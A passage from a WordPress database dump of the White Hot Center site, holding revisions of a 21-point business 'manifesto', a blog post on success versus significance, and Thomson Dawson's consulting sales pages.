manner.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>7  the best idea is the one you think is impossible</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">don’t be afraid to put your own “dent in the universe”.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>8  be different, make a difference</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">it''s all about the quality of your presence.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>9  provide more use value than you receive in cash value</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">the ultimate competitive advantage and the key to wealth.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>10  people are more important than money</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">get this reversed and it’s game over!</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>11  create experiences people love</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">doing good things for people is good business.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>12  listen more, sell less</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">It’s all about them not you. Serve don''t sell.\r\n</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>13  intuition over conventional wisdom</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">follow your heart, there is no better alternative.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>14  daydream often</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">play aimlessly in your creative imagination.\r\n</span> </em></span></h3>\r\n<h3><span style="color: #333333;"><strong>15  focus on the important, handle the urgent</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">discover your genius, delegate everything else.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>16  forget what you know</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">the world moves to fast for one mind – seek collaborators.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>17  beware of comfort</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">it will put you to sleep!</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>18  play on the edges</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">embrace risk like a lover.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>19  to thine own self be true, no exceptions, no excuses</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">say no often and mean it.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>20  leadership is service in disguise</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">elevate everyone you come into contact with.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>21  give thanks, give back</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">appreciation + service =  abundance.</span></em></span></h3>\r\n&nbsp;', 'The White Hot Center Manifesto', 0, '', 'publish', 'closed', 'open', '', 'manifesto', '', '', '2015-10-13 12:24:51', '2015-10-13 19:24:51', '', 0, 'http://www.whitehotcenter.com/?page_id=136', 3, 'page', '', 0),
(2662, 2, '2014-06-29 16:23:03', '2014-06-29 23:23:03', '<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious.  These guiding principles form the foundation of the White Hot Center philosophy and methodology for creating inspired success in your business and in every area of your life.</span></h2>\r\n<h2><strong> </strong><strong>1 as you think, so it is</strong><span style="color: #ff6600;"><em><span style="color: #808080;">\r\nthe essence of all creation begins with your thoughts.</span></em></span></h2>\r\n<h1></h1>\r\n<h2><span style="color: #333333;"><strong>2</strong></span><strong> know what you want, decide to pursue it, expect that it will be delivered to you</strong><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">never desire what you don’t expect to experience, nor expect to experience what you don’t desire.</span></em></span><span style="color: #808080;"> <strong>\r\n</strong></span></h2>\r\n<h2></h2>\r\n<h2><span style="color: #ff6600;"><strong> <span style="color: #333333;">3</span></strong></span><strong> you must do what matters to you, and what you do must serve others</strong><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">meaning + contribution = a life of significance.</span></em></span></h2>\r\n<h1></h1>\r\n<h2><span style="color: #333333;"><strong>4  begin now with what’s at hand</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">there is no shortage of supply, you are at all times surrounded by potential and possibility.</span></em></span></h2>\r\n<h2></h2>\r\n<h2><span style="color: #333333;"><strong>5  as you live in your days you craft your future</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">forget the past, your future is right now!</span>\r\n</em></span></h2>\r\n<h2></h2>\r\n<h2><span style="color: #333333;"><strong>6  embrace simplicity</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">do everything in an easy and relaxed manner.</span></em></span></h2>\r\n<h2></h2>\r\n<h2><span style="color: #333333;"><strong>7  the best idea is the one you think is impossible</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">don’t be afraid to put your own “dent in the universe”.</span></em></span></h2>\r\n<h2></h2>\r\n<h2><span style="color: #333333;"><strong>8  be different, make a difference</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">it''s all about the quality of your presence.</span></em></span></h2>\r\n<h2></h2>\r\n<h2><span style="color: #333333;"><strong>9  provide more use value than you receive\r\nin cash value</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">the ultimate competitive advantage and the key\r\nto wealth.</span></em></span></h2>\r\n<h2></h2>\r\n<h2><span style="color: #333333;"><strong>10  people are more important than money</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">get this reversed and it’s game over!</span></em></span></h2>\r\n<h2></h2>\r\n<h2><span style="color: #333333;"><strong>11  create experiences people love</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">doing good things for people is good business.</span></em></span></h2>\r\n<h2></h2>\r\n<h2><span style="color: #333333;"><strong>12  listen more, sell less</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">It’s all about them not you. Serve don''t sell.\r\n</span></em></span></h2>\r\n<h2></h2>\r\n<h2><span style="color: #333333;"><strong>13  intuition over conventional wisdom</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">follow your heart, there is no better alternative.</span></em></span></h2>\r\n<h2></h2>\r\n<h2><span style="color: #333333;"><strong>14  daydream often</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">play aimlessly in your creative imagination.\r\n</span> </em></span></h2>\r\n<h2></h2>\r\n<h2><span style="color: #333333;"><strong>15  focus on the important, handle the urgent</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">discover your genius, delegate everything else.</span></em></span></h2>\r\n<h2></h2>\r\n<h2><span style="color: #333333;"><strong>16  forget what you know</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">the world moves to fast for one mind – seek collaborators.</span></em></span></h2>\r\n<h2></h2>\r\n<h2><span style="color: #333333;"><strong>17  beware of comfort</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">it will put you to sleep!</span></em></span></h2>\r\n<h2></h2>\r\n<h2><span style="color: #333333;"><strong>18  play on the edges</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">embrace risk like a lover.</span></em></span></h2>\r\n<h2></h2>\r\n<h2><span style="color: #333333;"><strong>19  to thine own self be true, no exceptions, no excuses</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">say no often and mean it.</span></em></span></h2>\r\n<h2></h2>\r\n<h2><span style="color: #333333;"><strong>20  leadership is service in disguise</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">elevate everyone you come into contact with.</span></em></span></h2>\r\n<h2></h2>\r\n<h2><span style="color: #333333;"><strong>21  give thanks, give back</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">appreciation + service =  abundance.</span></em></span></h2>\r\n<h2></h2>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'open', 'open', '', '136-revision-v1', '', '', '2014-06-29 16:23:03', '2014-06-29 23:23:03', '', 136, 'http://www.whitehotcenter.com/2014/06/136-revision-43/', 0, 'revision', '', 0),
(1399, 2, '2009-07-10 00:34:17', '2009-07-10 07:34:17', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/03/significancepost1.gif"><img class="alignnone size-full wp-image-463" title="significancepost" src="http://whc.fbdev.org/wp-content/uploads/2009/03/significancepost1.gif" alt="significancepost" width="450" height="283" /></a>\r\n<h2><span style="color: #ff6600;"><span style="font-size: 20px; font-family: Arial;">I have been doing some thinking lately about the difference between pursuing a successful life, or a life of significance. On the surface you might think these are one and the same. Can you experience one and not the other? Are these two attributes mutually exclusive, or do they indeed go hand in hand? </span></span></h2>\r\nMuch of what we may define as success is subjective, and largely based on the core beliefs about life and our reaction to it that are contained in our head–notably our sub-conscious minds. Everyone desires to create a successful life. I don’t think anyone with a healthy mind spends much time consciously saying, “My goal is to be a complete failure in life”.  At least I have not yet met anyone with that point of view.  I think you would basically agree with the general statement: we all want to create success in our life. This begs the bigger question –what is success and will it really bring you happiness?<!--more-->\r\n\r\n<strong>The Successful Life</strong>\r\n\r\nIn our western culture, most people believe that you are successful when you <em>achieve something. </em>The common self-help industry definition suggests you are successful when you are pursuing the <em>achievement of goals</em> that result in financial success, personal power and authority, mastery of knowledge, material possessions and outward status in your community. While there is nothing bad or wrong with these pursuits, in of themselves, these ideals will rarely lead anyone to experience sustained happiness. I know many successful, accomplished people who are just plain miserable, and I’ll bet you do too. You may achieve the symbols of outer success, but they will not provide you with happiness. Like John Lennon says “money can’t buy me love”.\r\n\r\n<strong>The Significant Life</strong>\r\n\r\nOn the other hand, living a life of significance has its basis in an entirely different set of principles. The formula here is dramatically different than the pursuit of success. When you are pursuing significance, you engage your life in the accomplishment of ideas that deeply matter to you and contribute to the well-being and advancement of others. Your focus is on attributes like, generosity, kindness, love, relationships, value creation and connectedness. A person who is engaged in the pursuit of a Significant Life is always thinking “win/win”, not “I win”. They live their days on the creative plane not the competitive one. The equation here is simple:\r\n\r\n<strong>Meaning + Contribution = Significant Happiness</strong>\r\n\r\nTo experience significant happiness you must discover what really matters to you in life, and have what matters to you contribute to the advancement of others. Only then can you expect to experience a more sustained satidfaction, joy, freedom and abundance. When you get this formula working in your life, the world will shower you with appreciation. Which usually takes its form in the abundance of health, well-being, loving relationships, and last but not least–lots of money! These things are the applause the world bestows upon you for lighting the way for others.\r\n\r\n<strong>My suggestion is put your focus and attention on the pursuit of significance rather than success. You’ll be so happy that you did.</strong>', 'Meaning + Contribution = Significance', 0, 'I have been doing some thinking lately about the difference between pursuing a successful life, or a life of significance. On the surface you might think these are one and the same. Can you experience one and not the other?...\r\n', 'inherit', 'open', 'open', '', '8-revision-18', '', '', '2009-07-10 00:34:17', '2009-07-10 07:34:17', '', 8, 'http://www.whitehotcenter.com/2009/07/10/8-revision-18/', 0, 'revision', '', 0),
(1352, 1, '2010-12-27 14:08:09', '2010-12-27 21:08:09', '', 'praise-graphic', 0, '', 'inherit', 'open', 'open', '', 'praise-graphic', '', '', '2010-12-27 14:08:09', '2010-12-27 21:08:09', '', 0, 'http://www.whitehotcenter.com/wp-content/uploads/2010/12/praise-graphic.png', 0, 'attachment', 'image/png', 0),
(710, 2, '2010-03-11 11:56:26', '2010-03-11 18:56:26', '<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious.  These guiding principles form the foundation of the White Hot Center philosophy and methodology for creating inspired success in your business and in every area of your life.</span></h2>\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/21manifesto1.gif"><img class="alignnone size-full wp-image-385" title="21manifesto" src="http://whc.fbdev.org/wp-content/uploads/2009/04/21manifesto1.gif" alt="21manifesto" width="450" height="277" /></a>\r\n<h2></h2>\r\n<h2><strong>1 as you think, so it is</strong><span style="color: #ff6600;"><em> </em></span><span style="color: #ff6600;"><em></em></span><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>the essence of all creation begins with your thoughts.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>2</strong></span><strong> know what you want, decide to pursue it, expect that it will be delivered to you</strong></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>never desire what you don’t expect to experience, nor expect to experience what you don’t desire.</em></span><span style="color: #ff6600;"> <strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;"><strong> <span style="color: #333333;">3</span></strong></span><strong> you must do what matters to you, and what you do must matter to others</strong><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>meaning + contribution = a life of significance.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>4  begin with what’s at hand</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>there is no shortage of supply, you are at all times surrounded by potential and possibility.</em></span>\r\n<h2><span style="color: #333333;"><strong>5  as you live in your days you craft your future</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>forget the past, the future is right now!\r\n</em></span>\r\n<h2><span style="color: #333333;"><strong>6  embrace simplicity</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>do everything in an easy and relaxed manner.</em></span>\r\n<h2><span style="color: #333333;"><strong>7  the best idea is the one you think is impossible</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>don’t be afraid to put your own “dent in the universe”.</em></span>\r\n<h2><span style="color: #333333;"><strong>8  be different, make a difference</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>a compelling value proposition, properly positioned will elevate you from the slush pile</em>.</span>\r\n<h2><span style="color: #333333;"><strong>9  provide more use value than you receive in cash value</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the ultimate competitive advantage and the key to wealth.</em></span>\r\n<h2><span style="color: #333333;"><strong>10  people are more important than money</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>get this reversed and it’s game over!</em></span>\r\n<h2><span style="color: #333333;"><strong>11  create experiences people love</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>doing good things for people is good business.</em></span>\r\n<h2><span style="color: #333333;"><strong>12  listen more, sell less</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>It’s all about them not you.</em></span>\r\n<h2><span style="color: #333333;"><strong>13  intuition over conventional wisdom</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>follow your heart, there is no better alternative.</em></span>\r\n<h2><span style="color: #333333;"><strong>14  daydream often</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>play aimlessly in your creative imagination.\r\n</em></span>\r\n<h2><span style="color: #333333;"><strong>15  focus on the important, handle the urgent</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>discover your genius, develop you unique ability, delegate everything else.</em></span>\r\n<h2><span style="color: #333333;"><strong>16  forget what you know</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the world moves to fast for one mind – seek collaborators.</em></span>\r\n<h2><span style="color: #333333;"><strong>17  beware of comfort</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>it will put you to sleep!</em></span>\r\n<h2><span style="color: #333333;"><strong>18  play on the edges</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>embrace risk like your lover.</em></span>\r\n<h2><span style="color: #333333;"><strong>19  to thine own self be true, no exceptions, no excuses\r\n</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>say no often and mean it.</em></span>\r\n<h2><span style="color: #333333;"><strong>20  leadership is service in disguise</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>elevate everyone you come into contact with.</em></span>\r\n<h2><span style="color: #333333;"><strong>21  give thanks, give back</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>appreciation + service =  abundance.</em></span>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'open', 'open', '', '136-revision-v1', '', '', '2010-03-11 11:56:26', '2010-03-11 18:56:26', '', 136, 'http://www.whitehotcenter.com/2010/03/11/136-revision-36/', 0, 'revision', '', 0),
(137, 1, '2009-04-06 14:47:41', '2009-04-06 21:47:41', '', 'manifesto', 0, '', 'inherit', 'open', 'open', '', '136-revision-v1', '', '', '2009-04-06 14:47:41', '2009-04-06 21:47:41', '', 136, 'http://www.whitehotcenter.com/136-revision', 0, 'revision', '', 0),
(138, 2, '2009-04-06 14:50:43', '2009-04-06 21:50:43', '<img class="alignnone size-full wp-image-3013" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Work-with-Thomson.jpg" alt="Work with Thomson Dawson" width="680" height="353" />\r\n<h2><span style="color: #ff6600;">Strategic and creative consulting exclusively for creative entrepreneurs and small business leaders who want greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</span></h2>\r\nMy clients are entrepreneurs, solo professionals, CEOs and their leadership teams in growing business organizations. They have a high degree of ambition, discipline and determination to succeed, and they’re at an inflection point in their next level of growth. They seek my expertise when they’re inventing new businesses, entering new markets, introducing new products and services, or transforming their business for the next level of growth. Typically, individual entrepreneurs and professional clients have annual incomes of $150,000+ and are seeking insight, knowledge and advice to double and triple that amount. The small business organizations I serve have annual sales revenue in the $5–$50 million+ range.\r\n\r\n<span style="color: #ff6600;"><strong>My White Hot Center Consulting Programs:</strong></span>\r\n<span style="color: #ff6600;">For individual entrepreneurs, I offer issue-based consulting, coaching and workshops to help them take their business to the next level.</span>\r\n\r\n<span style="color: #ff6600;">For management teams in growing organizations, I design and facilitate strategic brand development workshops, and provide creative direction for their go-to-market implementation programs designed to elevate the quality of their presence in the marketplace.   </span>\r\n<h1><span style="color: #000000;"><a href="http://whc.fbdev.org/consulting-programs/">Learn more about my consulting programs here.</a></span></h1>\r\n<img class="alignnone wp-image-3017 size-full" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Consulting.jpg" alt="WHC Consulting Packages" width="679" height="278" />\r\n<h1><a href="http://whc.fbdev.org/what-clients-say/">What clients say about Thomson Dawson!</a></h1>\r\n<h2><span style="color: #ff6600;">If you have a business transformation challenge, let''s have a conversation to discuss how to help you achieve your desired outcomes.</span></h2>\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Start the Conversation[/su_button]', 'Create more impact, influence and income!', 0, '', 'publish', 'closed', 'closed', '', 'consulting', '', '', '2015-10-14 10:26:01', '2015-10-14 17:26:01', '', 0, 'http://www.whitehotcenter.com/?page_id=138', 4, 'page', '', 0),
(3016, 2, '2015-10-08 15:25:21', '2015-10-08 22:25:21', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/Work-with-Thomson.jpg"><img class="alignnone size-full wp-image-3013" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Work-with-Thomson.jpg" alt="Work with Thomson Dawson" width="680" height="353" /></a></h2>\r\n<h1></h1>\r\n<h1><span style="color: #ff6600;">Strategic and creative consulting exclusively for creative entrepreneurs and small business leaders who want greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</span></h1>\r\nMy clients are entrepreneurs, solo professionals, CEOs and their leadership teams in growing business organizations. They have a high degree of ambition, discipline and determination to succeed, and they’re at an inflection point in their journey. They seek my expertise when they’re inventing new businesses, entering new markets, introducing new products and services, or transforming their business for the next level of growth. Typically, individual entrepreneurs and professional clients have annual incomes of $150,000+ and are seeking insight, knowledge and advice to double and triple that amount. The small business organizations I serve have annual sales revenue in the $5 –$50 million+ range.\r\n\r\n<span style="color: #ff6600;"><strong>My Consulting Services</strong></span>\r\n<span style="color: #ff6600;">For individual entrepreneurs I offer issue-based consulting, coaching and workshops to help them take their business to the next level.</span>\r\n\r\n<span style="color: #ff6600;">For management teams in growing organizations, I design and facilitate strategic brand development workshops, and provide creative direction for their go-to-market implementation programs that elevate the quality of their presence in the marketplace.   </span><strong><span style="color: #ff6600;">Learn more here.</span>\r\n</strong>\r\n<h1>What clients say about Thomson Dawson!</h1>\r\n&nbsp;\r\n\r\n&nbsp;', 'Create more impact, influence and income!', 0, '', 'inherit', 'closed', 'closed', '', '138-revision-v1', '', '', '2015-10-08 15:25:21', '2015-10-08 22:25:21', '', 138, 'http://whc.fbdev.org/2015/10/138-revision-v1/', 0, 'revision', '', 0),
(3014, 2, '2015-10-08 14:59:57', '2015-10-08 21:59:57', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/Work-with-Thomson.jpg"><img class="alignnone size-full wp-image-3013" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Work-with-Thomson.jpg" alt="Work with Thomson Dawson" width="680" height="353" /></a></h2>\r\n<h1></h1>\r\n<h1><span style="color: #ff6600;">Strategic and creative consulting exclusively for creative entrepreneurs and small business leaders who want greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</span></h1>\r\nMy clients are entrepreneurs, solo professionals, CEOs and their leadership teams in growing business organizations. They have a high degree of ambition, discipline and determination to succeed, and they’re at an inflection point in their journey. They seek my expertise when they’re inventing new businesses, entering new markets, introducing new products and services, or transforming their business for the next level of growth. Typically, individual entrepreneurs and professional clients have annual incomes of $150,000+ and are seeking insight, knowledge and advice to double and triple that amount. The small business organizations I serve have annual sales revenue in the $5 –$50 million+ range.\r\n\r\n<span style="color: #ff6600;"><strong>My Consulting Services</strong></span>\r\n<span style="color: #ff6600;">For individual entrepreneurs I offer issue-based consulting, coaching and workshops to help them take their business to the next level.</span>\r\n\r\n<span style="color: #ff6600;">For management teams in growing organizations, I design and facilitate strategic brand development workshops, and provide creative direction for their go-to-market implementation programs that elevate the quality of their presence in the marketplace. </span><strong><span style="color: #ff6600;">Learn more here.</span>\r\n</strong>\r\n<h1><a title="Work with Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">Work With Thomson Dawson!</a></h1>\r\n&nbsp;\r\n\r\n&nbsp;', 'Create more impact, influence and income!', 0, '', 'inherit', 'closed', 'closed', '', '138-revision-v1', '', '', '2015-10-08 14:59:57', '2015-10-08 21:59:57', '', 138, 'http://whc.fbdev.org/2015/10/138-revision-v1/', 0, 'revision', '', 0),
(3015, 2, '2015-10-08 15:01:06', '2015-10-08 22:01:06', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/Work-with-Thomson.jpg"><img class="alignnone size-full wp-image-3013" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Work-with-Thomson.jpg" alt="Work with Thomson Dawson" width="680" height="353" /></a></h2>\r\n<h1></h1>\r\n<h1><span style="color: #ff6600;">Strategic and creative consulting exclusively for creative entrepreneurs and small business leaders who want greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</span></h1>\r\nMy clients are entrepreneurs, solo professionals, CEOs and their leadership teams in growing business organizations. They have a high degree of ambition, discipline and determination to succeed, and they’re at an inflection point in their journey. They seek my expertise when they’re inventing new businesses, entering new markets, introducing new products and services, or transforming their business for the next level of growth. Typically, individual entrepreneurs and professional clients have annual incomes of $150,000+ and are seeking insight, knowledge and advice to double and triple that amount. The small business organizations I serve have annual sales revenue in the $5 –$50 million+ range.\r\n\r\n<span style="color: #ff6600;"><strong>My Consulting Services</strong></span>\r\n<span style="color: #ff6600;">For individual entrepreneurs I offer issue-based consulting, coaching and workshops to help them take their business to the next level.</span>\r\n\r\n<span style="color: #ff6600;">For management teams in growing organizations, I design and facilitate strategic brand development workshops, and provide creative direction for their go-to-market implementation programs that elevate the quality of their presence in the marketplace.   </span><strong><span style="color: #ff6600;">Learn more here.</span>\r\n</strong>\r\n<h1><a title="Work with Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">Work With Thomson Dawson!</a></h1>\r\n&nbsp;\r\n\r\n&nbsp;', 'Create more impact, influence and income!', 0, '', 'inherit', 'closed', 'closed', '', '138-revision-v1', '', '', '2015-10-08 15:01:06', '2015-10-08 22:01:06', '', 138, 'http://whc.fbdev.org/2015/10/138-revision-v1/', 0, 'revision', '', 0),
(3022, 2, '2015-10-08 16:03:54', '2015-10-08 23:03:54', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Podcasts.jpg"><img class="alignnone size-full wp-image-3019" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Podcasts.jpg" alt="WHC Podcast Episodes" width="480" height="310" /></a>\r\n<h2><span style="color: #ff6600;">White Hot Center podcasts and video posts will inspire and engage you to create a new levels of success in your business. Check our mix of ideas and insights on personal growth, leadership and business development strategies. Topics focus on your professional development, lifestyle design, value creation and demand generation. Of course your comments are most welcome and much appreciated. Please share your comments with the White Hot Center Community!</span></h2>\r\n&nbsp;\r\n\r\n[ss_podcast title="WHC Podcasts List" content="episodes" series="whc" link_title="true"]', 'WHC Podcasts–Listen & Learn!', 0, '', 'inherit', 'closed', 'closed', '', '133-revision-v1', '', '', '2015-10-08 16:03:54', '2015-10-08 23:03:54', '', 133, 'http://whc.fbdev.org/2015/10/133-revision-v1/', 0, 'revision', '', 0),
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(2977, 1, '2015-10-05 18:53:35', '2015-10-06 01:53:35', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2>Strategic and creative consulting exclusively for creative entrepreneurs, solo professionals and small business leaders who want greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</h2>\r\nAt every stage of your business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau.\r\n\r\nMost entrepreneurs are tirelessly working heads down in their business–their days are consumed with the distracting detail of managing their current circumstances, few are looking up and out innovating a stronger foundation for their bigger, better future. Most entrepreneurs focus on the urgent aspects of running their business rather than the more important focus and mastery of creating new value for higher value customers and clients.\r\n\r\n<strong>My passion is to inspire, guide and advise you and your team to focus on your best opportunities, innovative strategies and effective tactics to master both your inner game (innovation and creative thinking), and your outer game (the quality of your presence in the marketplace) in four essential strategic disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, clarifying your purpose, enhance your effectiveness, and your contributions to the marketplace.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision and designing the structure for your total life/business experience based solely on what truly matters to you, leverages your unique talents to serve customers and clients; and enables you to experience greater joy, fulfillment and deep satisfaction beyond money making.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design and develop your value proposition, products and services in forms that are highly valued by customers and clients who wouldn’t think of doing business with anyone else.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through brand strategy, development, marketing, communications, sales and business development strategies that position your business as highly valued by the best customers and clients, and elevates your business from the slush pile of competitors.\r\n<h2>Three strategic consulting options to help you get your business to the next level!</h2>\r\n<img class="alignnone size-full wp-image-2456" title="powersession" src="http://whc.fbdev.org/wp-content/uploads/2009/04/powersession.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Power Session Jams</strong>\r\nThe 1-on-1 Power Session Jam is powerful rent-my-brain-business-life-creative strategy-burn on your best ideas and pending opportunities to experience your next level of success. We’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, gain more power in the sales process to attract better clients and customers. Whatever the issue, we’ll quickly get to work in a deep dive conversation helping you gain the clarity and confidence you need to help you break free from mental roadblocks and get you moving in the direction of your desire right from the git go!\r\n<h6><strong>Investment: $500 USD (through PayPal)</strong><a title="Book your Power Session" href="mailto:thomson@whitehotcenter.com" target="_blank"><span style="color: #f87f06;"><em>\r\n</em></span></a></h6>\r\n<h3><a title="Book your Power Session" href="mailto:thomson@whitehotcenter.com" target="_blank"><span style="color: #f87f06;"><em>Book your Power Session with Thomson.</em></span></a></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2457" title="Quantumleap" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Quantumleap.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Quantum Leap Business Transformation Consulting</strong>\r\nStrategic consulting tailored to the specific needs and challenges of forward thinking, creative entrepreneurs, solo professionals and small business organizations who are inventing a new business, launching new products or transforming their business for the next level of growth. Through insight, guidance and creativity, we’ll work together over three-month periods to focus on your best opportunities, leverage your personal strengths and effectiveness, and gain more clarity and confidence in the strategic decisions and innovative actions that will effect your impact, influence and success in the marketplace.\r\n<h6><strong>Investment: $3000 USD per month  (3-month minimum engagement)<em>\r\n</em></strong></h6>\r\n<h3><a title="Learn more in a conversation" href="mailto:thomson@whitehotcenter.com" target="_blank"><span style="color: #f87106;"><em>Learn more about how business transformation consulting can help you get to the next level of success in a conversation with Thomson.</em></span></a></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2458" title="thomsonwhc-workshop" 